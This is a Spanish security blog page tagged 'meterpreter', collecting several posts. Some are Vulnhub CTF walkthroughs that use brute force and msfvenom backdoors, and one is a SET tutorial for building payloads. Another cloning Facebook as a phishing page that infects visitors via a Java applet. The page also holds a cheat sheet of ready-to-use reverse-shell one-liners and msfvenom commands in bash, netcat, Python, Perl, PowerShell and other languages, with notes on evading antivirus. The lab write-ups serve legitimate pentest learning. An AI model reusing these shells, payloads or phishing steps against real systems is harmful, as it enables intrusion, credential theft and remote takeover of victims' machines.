Mostrando entradas con la etiqueta meterpreter. Mostrar todas las entradas
Mostrando entradas con la etiqueta meterpreter. Mostrar todas las entradas

jueves, 18 de agosto de 2016

Commodore64 Still Ready

Buenas a todos! CTF de Vulnhub

"Welcome to my third boot2root / CTF this one is called Sidney. The VM is set to grab a DHCP lease on boot. As before, gaining root is not the end of this VM. You will need to snag the flag, and being me, it's never where they normally live... B-) If you are having trouble with the NIC, make sure the adapter is set to use the MAC 00:0C:29:50:14:56 Some hints for you: If you are hitting a wall, read https://de.wikipedia.org/wiki/MOS_Technology_6502 The flag is audio as well as visual SHA1SUM: 114ABA151B77A028AA5CFDAE66D3AEC6EAF0751A sidney.ova Many thanks to Rasta_Mouse and GKNSB for testing this CTF. Special thanks and shout-outs go to GKNSB and Rasta_Mouse, hopefully he streams this one live too! Also a shout-out to g0tmi1k for #vulnhub and offering to host my third CTF."
 
 

Atención Spoiler!!

Primero comenzamos haciendo un descubrimiento de red y una vez localizado el objetivo simplemente haciendo un escaner para saber los puertos abiertos y sus servicios.
Ejecutaremos nikto para realizar un escaneo del sito web, detectando la versión del servidor, el tipo de CMS instalado, vulnerabilidades etc...
Ejecutamos dirb para ver los directorios del servidor Apache, usando el diccionario que nos encontramos en la carpeta de dirb llamado big.txt.
Damos con el directorio commodore64 muy interesante donde partiremos y encontraremos información muy valiosa en su codigo fuente.
En la descripcion de la máquina virtual y segun lo visto con el codigo fuente, debemos investigar sobre commodore 64. Ademas en el codigo fuente nos da posible un usuario y el patron usado en la contraseña es decir 3letras y 4 digitos sin espacios...algo en la wikipedia tenemos que encontrar.
Bien ahora tenemos dos opciones. Lo haremos con los dos metodos para obtener lo mismo.
Usaremos wireshark + hydra, y el otro metodo es hacer todo con burpsuite. 
Con wireshark realizaremos un login con el posible usuario y la pass vacía para poder capturar los paquetes.
Analizamos el protocolo HTTP con el metodo POST que es el que nos interesa, y en la capa de aplicacion Hypertext Transfer Protocol, vemos lo capturado en el paquete como por ejemplo la cookie de sesion, y el formulario de envio con el metodo POST para acceder al login cuyo name es el input_username en texto plano...Esto sera de gran importancia para realizar el ataque con burpsuite y con hydra.
Con burpsuite hacemos lo mismo, configuramos el proxy del navegador en localhost y realizamos de nuevo la peticion HTTP con el metodo POST del login y analizamos lo capturado con burp. Nos lo pinta mas bonito que wireshark, y se ve los tres campos name, y el usuario en texto plano de la peticion HTTP. 
Una vez obtenida la password ya sea con burpsuite o con hydra vamos a crear con msfvenom un payload en php reverse, para poder conseguir una sesion meterpreter y a su vez iniciaremos el metasploit para tener el listener a la escucha de la conexión entrante que se recibira.
Bien al crear el payload sino se pone el puerto, por defecto es el 4444, y en el multi/handler pusimos el 5555, por tanto debemos modificar el source del archivo php y cambiar el puerto. 

Hacemos una peticion HTTP con curl y recibiremos nuestra sesion meterpreter, con una shell reversa del servidor. 
Visulizamos el archivo etc/passwd. Y nos tendremos que fijar muy bien el tercer campo por la izquierda osea el User ID(UID). UID 0(reservado a root) y del 1-99 (reservado a otras cuentas de usuario).
Se hará sudo -l y veremos que un usuario en el cual nos logeamos, puede ejecutar cualquier comando como root. 
Bien una vez realizada la escalada de privilegios, nos dirijimos al directorio /root para poder capturar la bandera.
Al final del vídeo os muestro otra alternativa para poder conseguir escalar privilegios. Será a través de crontab y el uso de un exploit, por la versión particular de Ubuntu.


Espero que os sirva esta solución al CTF :)
Un saludo Naivenom

martes, 12 de julio de 2016

Setoolkit para la creación de payloads

Buenas noches hackers! En esta entrada con un vídeo explicativo de Rabbit Hutch, se procederá a la creación de payloads y el uso del exploit/multi/handler para estar a la escucha de por un puerto determinado a la espera de una conexión inversa a nuestro host, dentro de una red LAN proporcionada por VMware y en un entorno controlado virtualizado.


SET, proporciona un gran abanico de posibilidades en cuanto a ataques de ingeniería social. Estas herramientas se integran con el framework Metasploit para así garantizar una fase de explotación en el sistema víctima. 
La creación de un payload ejecutable garantiza que ese binario malicioso mediante la ingeniería social, la víctima pueda ejecutarlo y así realizar la conexión hacia nuestro host y la obtención de meterpreter para uso de administración remota del sistema. 
Este payload generado no es FUD, por tanto existen métodos de ofuscación de código ya sea una vez compilado, o desde su código fuente. Para ello esta entrada y este vídeo es un mera introducción a malware, detectado por los diferentes AV's existentes en el mercado. Dentro de poco veremos herramientas que generan troyanos o RAT, completamente FUD o casi. 
Pero básicamente el procedimiento es el mismo. La elección de un payload y su correspondiente exploit. Herramientas como Veil-Evasion permiten la creación de payloads y poder usarlo con el exploit/multi/handler de Metasploit a la espera de la conexión (o payload) inversa dada una dirección IP pública o privada y un puerto determinado. 
También veremos más adelante de forma teórica ataques fuera de la red LAN mediante el uso de NoIP y apertura de puertos en la puerta de enlace o gateway. 

Proof of concept

Un saludo Naivenom

viernes, 10 de junio de 2016

Reto VulnHub: Bobby

Qué pasa hackers! Hoy vengo con ganas de traeros un reto de VulnHub. Para quien no lo conozca, VulnHub es una página donde pueden encontrarse diferentes recursos para practicar y aprender acerca de seguridad, administración y redes, muchas veces en forma de reto.

Estos retos te dan un objetivo, que en materias de seguridad suele ser ganar acceso de root (o administrador) de sistema dentro de una máquina virtual, aunque puede ser otro objetivo, como el robo de información conseguir un flag o bandera, por poner ejemplos. En el caso que nos ocupa, es un reto de seguridad cuyo objetivo es conseguir dicho flag.

Un flag o bandera es normalmente un fichero, dentro de la propia máquina (más o menos escondido), que podemos conseguir cumpliendo los objetivos y consiguiendo acceso a cierta parte del sistema de archivos de la misma. Este flag es la prueba de que hemos conseguido dichos objetivos; por decirlo de alguna forma, hemos superado la prueba. 

La máquina que trataremos es Bobby. Bobby es un pobre sujeto que ha decidido comenzar un blog personal alojado en su misma máquina, publicando algunos datos personales sin prestar demasiada atención a la seguridad de la misma antes de ponerla al alcance de cualquiera en Internet.

La fuente de dicha máquina puede encontrarse aquí. Para instalar la máquina necesitaremos un software de virtualización (yo utilizo VMware Workstation, otra opción es Virtual Box). En la página encontraremos un fichero ejecutable, que al ejecutarse abrirá una utilidad para generar una imagen de Windows XP Professional SP3 vulnerable, tomando como entrada una imagen normal de dicho sistema operativo.

Este método suele utilizarse en páginas como VulnHub; modifica un sistema operativo para asegurarse que al instalarse sea vulnerable de una u otra manera (abriendo puertos, instalando servicios de red, creando usuarios, etc.) sin tener que modificar nada en la máquina posteriormente.

Una vez instalada la máquina, tenemos un equipo XP vulnerable. En mi caso, suelo configurar todas las máquinas de prueba en modo de red NAT para que no sean accesibles desde el exterior, pero sí entre ellas.

Máquina XP de Bobby funcionando en Vmware Workstation
Podemos empezar realizando una exploración de los puertos y servicios de la máquina mediante Zenmap (o nmap). Puede hacerse en la máquina anfitrión o a través de cualquier otra máquina que tengamos virtualizada en la misma red NAT. En este caso utilizaré para las pruebas una máquina Kali Linux.

Primero tenemos que conocer la dirección IP de la máquina objetivo. Aunque normalmente podemos conocerla mediante un barrido IP con nmap o Zenmap, en la página donde conseguimos la máquina podemos ver que está configurada con la IP 192.168.1.11. Por ahorrarnos problemas de direccionamiento, estableceremos nuestra red NAT dentro de la misma subred (192.168.10/24).

Conociendo ya a priori la dirección IP del objetivo, ejecutamos un escaneo IP intenso con Zenmap. Puede hacerse de forma similar en nmap, pero así tenemos resultados más visuales.

Reporte de Zenmap
Vemos ya que hay dos servicios abiertos: un servicio web tipo IIS (servidor web de Microsoft) y un servicio FTP. Ya tenemos por dónde empezar a explorar. Si accedemos al servicio mediante el explorador web, nos encontraremos un blog personal que Bobby acaba de empezar, con algunos datos acerca de su persona: su película favorita, su grupo favorito y su sistema operativo preferido.

El blog de Bobby
Siempre que nos encontremos una página web, se debería echar un vistazo al código fuente de la misma en búsqueda de pistas acerca de su naturaleza, comentarios del autor, etc. La experiencia puede decirnos que, al ser una página muy simple, probablemente programada puramente a mano, haya anotaciones y comentarios en el HTML. Efectivamente, podemos ver uno interesante.

Comentario en el código fuente
Al parecer, Bobby prefiere que le llamen Bobby, y no Bob o Robert. Este tipo de datos siempre vienen bien a la hora de recolectar información; al usuario de este sistema se le llama de tres maneras, que bien pueden ser su nombre de usuario o parte de él. Lo anotaremos para luego.

Podemos seguir explorando un poco el servicio web. Para ello podemos contar con herramientas como Nikto o WhatWeb, que realizan una serie de comprobaciones automáticas sobre el servidor web y nos arrojan datos muy valiosos acerca del mismo. Ambas herramientas se encuentran dentro de Kali Linux, pero son descargables para otras distribuciones.

Salida de Nikto sobre el servicio web
Salida de WhatWeb sobre el servicio web
Algunos datos interesantes que tenemos sobre el servicio es que es un Microsoft IIS versión 5.1 (desactualizado), y que tiene habilitados los métodos PUT y TRACE, que son considerados muy inseguros. Es sobre todo interesante este primer método, ya que nos permite subir archivos al servidor web. Además, no se ha borrado la página /localstart.asp, incluida de forma predeterminada en servidores IIS antiguos como este.

Tras una breve exploración al servicio web, comprobamos que podemos conectarnos al servicio FTP mediante una simple sesión de consola. Pero, ¿cual es el usuario y la contraseña? En este punto es interesante probar un ataque de fuerza bruta mediante diccionario sobre el servicio FTP.

Para ello, necesitamos dos diccionarios: uno para los nombres de usuario, dado que no conocemos ninguno, y otro para las contraseñas. Para el primero, podemos intentar con uno bastante simple hecho a mano, contando con los posibles nombres de Bobby: Bobby, Bob y Robert.

Lista/diccionario corto de usuarios
Los introduciremos con la primera letra tanto en mayúscula como en minúscula, solo por si acaso. Si estos usuarios no resultan, habría que probar otras opciones más avanzadas; de momento, mantengámoslo simple.

Para el diccionario de contraseñas, utilizaremos la herramienta cewl, incluida dentro de Kali Linux. Dicha herramienta lee una página web y crea un diccionario simple a partir de las palabras que encuentra en ella. Aunque no distingue mayúsculas y minúsculas, siendo el resultado un diccionario muy simple y algo inexacto, suele ser un buen punto sobre el que empezar.

Diccionario de contraseñas generado por cewl
Para el ataque por fuerza bruta mi primera opción suele ser siempre THC Hydra, incluida también en Kali Linux con una interfaz gráfica (Hydra GTK). La configuración del ataque es bastante sencilla, simplemente introduciendo la IP objetivo, el protocolo para el ataque (FTP) y los diccionarios de usuarios y contraseñas.

El resultado aparece enseguida; hemos tenido suerte. El usuario es bob, la contraseña es Matrix. ¡Hay que proteger más los servicios, hombre!

Resultado del bruteforce
Mediante una sesión de consola, podemos acceder al servicio FTP utilizando estos credenciales. ¡Bingo! Además, nos ha tocado la lotería: tenemos acceso al directorio wwwroot que contiene las páginas web accesibles mediante el servicio IIS.

Tachán, acceso al FTP via consola
Como pequeña prueba para comprobar nuestros permisos, nos introduciremos en el directorio wwwroot e intentaremos crear un directorio llamado owned para la ocasión. Efectivamente, podemos hacerlo, así que tenemos permisos de escritura sobre el directorio raíz del servicio web. Algo preocupantemente peligroso para la víctima porque, como veremos ahora, podemos vulnerar el servicio subiendo un backdoor.

Comprobamos que tenemos permisos de escritura
Al parecer, también se ha dejado una pequeña pista en el archivo hint.html que encontramos en el directorio raíz del servicio web. Tras descargarlo, podemos ver que íbamos bien encaminados:

Pequeña pista para la explotación
Ahora podemos entrar en la fase más jugosa: la explotación. Dado que podemos subir ficheros al directorio web, una buena opción es subir en el equipo víctima un backdoor o puerta trasera que al ser accedido se conecte a nuestra máquina, proporcionando acceso completo a la víctima.

El backdoor deberá ser activado mediante el servicio web; para ello, tendrá que tener un formato de página web. Sabemos que el servidor es un Microsoft IIS con tecnología ASP, así que tendrá que ser un código ejecutable en dicho entorno.

Metasploit Framework, que podemos encontrar también en Kali Linux, nos proporciona herramientas para crear backdoors de estas características. Utilizaremos la herramienta msfvenom que nos proporciona Metasploit para esta tarea.

En este caso, msfvenom creará una página tipo ASP que, al ser accedida, realizará una conexión a nuestro equipo (lo que se conoce como conexión inversa, dado que es la víctima la que se conecta a nosotros) y ejecutará el payload Meterpreter, proporcionándonos una interfaz de acceso completa e interactiva con la víctima en forma de comandos.

El primer paso será crear el propio backdoor. Puede hacerse de manera muy sencilla con msfvenom en una consola de Kali Linux. Hay que prestar especial atención a las opciones que le indicamos, que deberán proporcionar información sobre el equipo víctima a la herramienta, como la arquitectura (x86), familia del sistema operativo (Windows) y sobre nuestro equipo, indicando la IP y el puerto a la escucha al que se conectará el backdoor.


Creación del backdoor
Acto seguido dejaremos a la escucha en nuestro equipo un handler de Metasploit que recibirá la conexión desde el equipo víctima. Para no tener que desplegar todo el framework, lo haremos mediante la utilidad msfcli, que simplemente ejecuta el handler de forma directa. Tendremos que especificar, nuestra IP y puerto que queremos a la escucha, así como el payload que se ejecutará.

Handler para la conexión

Por último, subiremos al equipo víctima el archivo ASP que ejecutará el backdoor, haciendo uso de nuestra conexión FTP. La transferencia se realiza con éxito.

Subida del backdoor a la víctima
 Solo queda ir a un explorador web, ejecutar el backdoor, y cruzar los dedos...

Sesión de Meterpreter abierta
¡El ataque ha tenido éxito! En el handler que dejamos a la escucha tenemos un intérprete Meterpreter funcionando con permisos de sistema. Hemos conseguido acceso total a la máquina. Dado que el objetivo era conseguir un flag como prueba de nuestro éxito, abriremos un intérprete de comandos de Windows con nuestra conexión Meterpreter para buscarla. La encontraremos en el escritorio del usuario Administrator.

Flag o secreto de la máquina
 Con esto, el reto queda terminado y superado. Espero que os haya gustado el desafío. Para cualquier duda o reclamación, dejad un comentario e intentaré responder lo mejor que pueda. Gracias por leer.

Un saludo!
hartek

sábado, 28 de mayo de 2016

Ingeniería Social con SET y Metasploit


Buenas a todxs.

Hoy me estreno en este blog para presentaros una herramienta muy interesante orientada a la Ingeniería Social. Su nombre es SET (Social-Engineering Toolkit) y se encuentra disponible en la distribución Kali Linux.
La demo que vamos a realizar en cuestión, será la clonación (phishing) de la web de Facebook, a la vez que realizamos una infección mediante un applet de Java, que controlaremos posteriormente mediante Meterpetrer de Metasploit.
Ante todo, indicar que como obviamente todxs sabemos, esta actividad es meramente educativa y no debería usarse para cometer actos impuros.

Dicho lo dicho, ¡al turrón!

Lo primero que debemos hacer será ejecutar la herramienta en una terminal con el comando setoolkit y seleccionamos la primera opción del menú que se nos muestra: Social-Engineering Attacks.


En el siguiente menú tomaremos la segunda opción: Website Attack Vectors.



A continuación, se nos mostrarán diferentes tipos de ataques. Nosotros nos centraremos en el primero: Java Applet Attack Method.


Se nos mostrará otro nuevo submenú, donde elegiremos el modo en el que queremos crear el phishing. En este caso, haremos una clonación de una página con la segunda opción: Site Cloner.


Una vez seleccionado, se nos preguntará si vamos a usar NAT/Port Forwarding para nuestro ataque, pero como vamos a realizar la prueba en una red local pondremos: “no”.


Introducimos la IP de la máquina donde estamos albergando el phishing.


En el siguiente menú seleccionamos qué applet vamos a utilizar. Al tratarse de un ejemplo sencillo, no nos complicaremos y tiraremos de un applet de SET (opción 2).


En este punto es cuando introduciremos la web que deseamos clonar. Para esta demo he seleccionado Facebook.


Una vez introducida, la web se clonará y pasaremos a la selección del payload.


Para continuar bajo la premisa del mínimo esfuerzo y máxima eficiencia elegiremos la primera opción: Meterpreter Memory Injection (DEFAULT) y podremos el puerto 443 en escucha:


Dentro de la opción elegida utilizaremos Reverse TCP, para que sea la victima la que se conecte a nosotros.


Llegados a este punto, ¡habemus phishing!
Veremos cómo se levanta el servidor Apache2 para publicar nuestra web (ya sabéis… /var/www/) y a continuación se ejecutará el Framework Metasploit.




Ahora abriremos desde otro equipo (o máquina virtual) que tengamos en nuestra red, la IP dónde tenemos el phishing.
En este punto, si queréis, se podría hacer un DNS Spoofing para redirigir el tráfico de la víctima cuanto intente acceder a facebook.com hacia nuestra IP (entre otras cositas que se os ocurran).

Pero ahora tenemos un problema… “con la iglesia hemos dado, Sancho”.
Según hemos planteado este ataque, si tenemos actualizado Java SE a su última versión, se nos bloqueará la infección mediante el applet (pero mantendremos el phishing, eso sí). Una mala costumbre que tiene Java de no confiar en las firmas autofirmadas…


Para saltarnos este bloqueo tendremos que añadir en la configuración del Panel de Control de Java la IP del atacante. Sí, lo sé… nadie va a infectarse con el applet, pero recordad que tenéis la posibilidad de lanzar vuestro propio applet o utilizar otros tipos de ataques (además es un ejemplo educativo y lo sabéis).


Añadida la IP, procedemos a acceder a través de un navegador fantástico como es IE y aceptamos que somos unos incautos que queremos ser infectados a pesar de la notificación de riesgo de seguridad que nos emiten.


Una vez aceptado e introducidos las credenciales de nuestra cuenta, se nos redirigirá a la página oficial de Facebook, como si nos hubiésemos equivocado al introducir las credenciales y aquí nadie se hubiera comido un bicho rico, rico y con fundamento.


Una vez infectado el sistema de la víctima, en nuestra máquina atacante podremos ver cómo se ha registrado en el Meterpreter una nueva sesión.


Para ver las sesiones activas utilizaremos el comando sessions y para acceder a una de ellas: sessions -i númeroDeSesion.


Para comprobar que todo funciona correctamente, podemos utilizar el comando preferido por los stalkers: screenshot



Et Voilà!
Con esto finiquitamos el Briconsejo de hoy, no olvidéis echar el sustrato, siempre mucho sustrato para los geranios.


“La educación es el arma más poderosa que se puede usar para cambiar el mundo” y no lo digo yo, lo dijo Mandela.


Pablo Lorenzo






viernes, 27 de mayo de 2016

¿Quieres una Shell Reversa? Hay donde elegir

Buenas a todos,

En la entrada de hoy haremos un breve resumen de las diversas formas de generar una Shell reversa y así tener todas las opciones en un mismo sitio para consulta rápida.
Empecemos por Metasploit y las diferentes formas para generar un meterpreter. Para ello vamos a utilizar la herramienta msfvenom del framework Metasploit.


Binarios


Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f exe > meterpreter.exe


Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f elf > meterpreter


Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f macho > meterpreter



Web


PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw | sed 's/\/\/<?php/<?php/' > shell.php && echo ' ?>' >> meterpreter.php


ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f asp > meterpreter.asp


JSP

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.jsp


WAR

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f war > meterpreter.war



Scripts


Powershell

msfvenom -p cmd/windows/powershell_reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.ps1

Python

msfvenom -p cmd/unix/reverse_python LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.py


Bash

msfvenom -p cmd/unix/reverse_bash LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.sh


Perl

msfvenom -p cmd/unix/reverse_perl LHOST=<IP> LPORT=<PUERTO> -f raw > meterpreter.pl



Código


Además podemos generar programas en diferentes lenguajes que ejecutaran la Shell. Podemos ver el listado de los diferentes lenguajes con msfvenom --help-formats
Por ejemplo, para generar un programa en C que lance una Shell, ejecutaríamos:


msfvenom -p windows/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PUERTO> -f c > meterpreter.c


Bastaría compilarlo y tendríamos nuestro backdoor/shell.
Destacar un par de opciones interesantes de msfvenon, como son, “--bad-chars”, para evitar ciertos caracteres, como -b'\x00\xff' y la otra opción es la de --encoder con la que podemos codificar nuestro meterpreter bajando el ratio de detección.



En otras ocasiones querremos ejecutar la Shell directamente o no tendremos Metasploit a mano.
Para esas ocasiones vamos a ver algunas opciones y alternativas:


Powershell

$sm=(New-Object Net.Sockets.TCPClient("<IP>",<PUERTO>)).GetStream();[byte[]]$bt=0..255|%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}


Bash

bash -i >& /dev/tcp/<IP>/<PUERTO> 0>&1

o

0<&196;exec 196<>/dev/tcp/<IP>/<PUERTO>; sh <&196 >&196 2>&196 


Python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PUERTO>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Perl

perl -e 'use Socket;$i="<IP>";$p=<PUERTO>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'


Perl (windows)

perl -MIO::Socket -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr => "<IP>:<PUERTO>");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'


PHP

php -r '$sock=fsockopen("<IP>",<PUERTO>);exec("/bin/sh -i <&3 >&3 2>&3");'


Ruby

ruby -rsocket -e'f=TCPSocket.open("<IP>",<PUERTO>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


Ruby (windows)

ruby -rsocket -e 'c=TCPSocket.new("<IP>","<PUERTO>");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' 


Netcat (opcion '-e')

nc -e /bin/sh <IP> <PUERTO>


Netcat (sin '-e')

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP> <PUERTO> >/tmp/f

o

/bin/sh | nc <IP> <PUERTO>


Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet <IP> <PUERTO> 0/tmp/p 

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/<IP>/<PUERTO>;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()


xterm

xterm -display <IP>:1




Espero que sean de utilidad y si conocéis algún método forma más por favor comentarlo y así podremos incluirla para contar con un recopilación más completa.


Belane



domingo, 24 de abril de 2016

Guía Kevgir Parte (II)

Buenas tardes hackers, continuamos con la segunda parte y última de la PoC. En la anterior vimos de manera general los servicios disponibles en el servidor y la explotación del FTP y Tomcat.



NFS 2049
El NFS, es un servicio para poder compartir carpetas en la red. Mediante una llamada de procedimiento remoto RPC, se muestran los programas en equipos remotos con el comando rpcinfo. Si ejecutamos showmount, muestra la información de montaje en el servidor NFS. Montamos con mount el backup, previa creación de la carpeta en /tmp/nfs en la maquina victima y copiamos el .zip a nuestra maquina kali linux. 
De esta forma, mediante el servicio NFS, obtenemos un backup con información posiblemente muy útil. 


El archivo .zip se encuentra protegido con contraseña. Por tanto mediante un ataque por diccionario obtendremos dicha pass. Descomprimimos el archivo.


Usando grep, haremos una búsqueda recursiva de la password, en la carpeta html




JOOMLA 8081


Es un sistema de gestión de contenidos (CMS). Permite crear sitios dinámicos e interactivos. 
Con la consola de Metasploit, usando un auxiliar identificaremos la versión.


Haciendo uso de robots.txt, nos lista una serie de directorios de Joomla.


Hacemos nikto, para realizar un escaneo en busca de vulnerabilidades web



Como pueden observar, nikto es una potente herramienta que nos arroja información bastante útil para nuestra fase de pentesting.

Vista esta vulnerabilidad, ya podemos ir navegando en los distintos directorios! 
Pero antes de nada pasaremos un escaner para analizar las vulnerabilidades del CMS con joomscan.


Existen 19 vulnerabilidades encontradas. Explotaremos una de ellas Joomla Remote Admin Password Change Vulnerability.
Escribimos la URL que nos indica y en el campo token escribimos el siguiente carácter '. Una vez nos de la posibilidad de cambiar la contraseña, ya podremos acceder al panel de administración de Joomla. 


A partir de este momento, tenemos la posibilidad de modificar absolutamente todo del sitio web como administradores que somos. 
Desde la configuración global, podemos modificar por el ejemplo el nombre del sitio.


Configuración del sistema



En configuración del servidor, modificamos el media setting para permitir archivos PHP.


También nos arroja información de la existencia de una BBDD MySQL.


En Media Manager, creamos una carpeta para subir un script escrito en PHP, con el fin de ganar un shell



La subimos y el resultado es negativo, Possible IE XSS Attack found
Habrá que probar suerte con otro servicio, y "gaining access" con el mismo script PHP.


REDIS 6379
Redis es un motor de base de datos en memoria, basado en el almacenamiento en tablas de hashes (clave/valor) pero que opcionalmente puede ser usada como una base de datos persistente. Más información aquí

A través de Telnet, comprobamos si Redis tiene algún tipo de autenticación.



Bingo! No existe ningún tipo de seguridad.
Verificamos más información del sistema mediante el siguiente comando.




Mediante un auxiliar de Metasploit, podemos obtener más información del sistema



Usando otro auxiliar, podemos aprovechar la funcionalidad expuesta por Redis para lograr subir archivos. Quizás sea posible subir la shell escrita en PHP, anterior y así "gaining access". 

 

Mediante este método se ha podido subir la shell. A continuación lo único que habrá que hacer es interactuar con la URL y probar si nos devuelve el resultado tras la ejecución de los comandos.


El resultado es simplemente una shell de usuario en el navegador.



Jenkins 9000



Simplemente usando un auxiliar y un exploit en Metasploit, obtenemos el usuario y contraseña del login, y una sesión meterpreter. 

Ejecutamos el auxiliar


Login succesful admin:hello ;)

Ahora ejecutamos el siguiente exploit.



Con esto tendríamos una de las muchas shell conseguidas en esta PoC, con la diferencia que obtenemos en esta una sesión meterpreter. Una vez llegado a este punto podemos eejcutar una serie de opciones disponibles en meterpreter además de la shell de usuario obtenida.




Con esto, ya quedaría terminada esta pequeña guia sobre esta maquina vulnerable. No es complicada la explotación de este servidor, y sirve de práctica para nuevos iniciados en este mundo del pentesting para así seguir desarrollando vuestras habilidades como hackers.
Más adelante, se irán desarrollando más guías sobre nuevos retos que vayan surgiendo, para que sirva de ayuda para aquellos que quieran hacerla. 

Un saludo, naivenom.




Google Analytics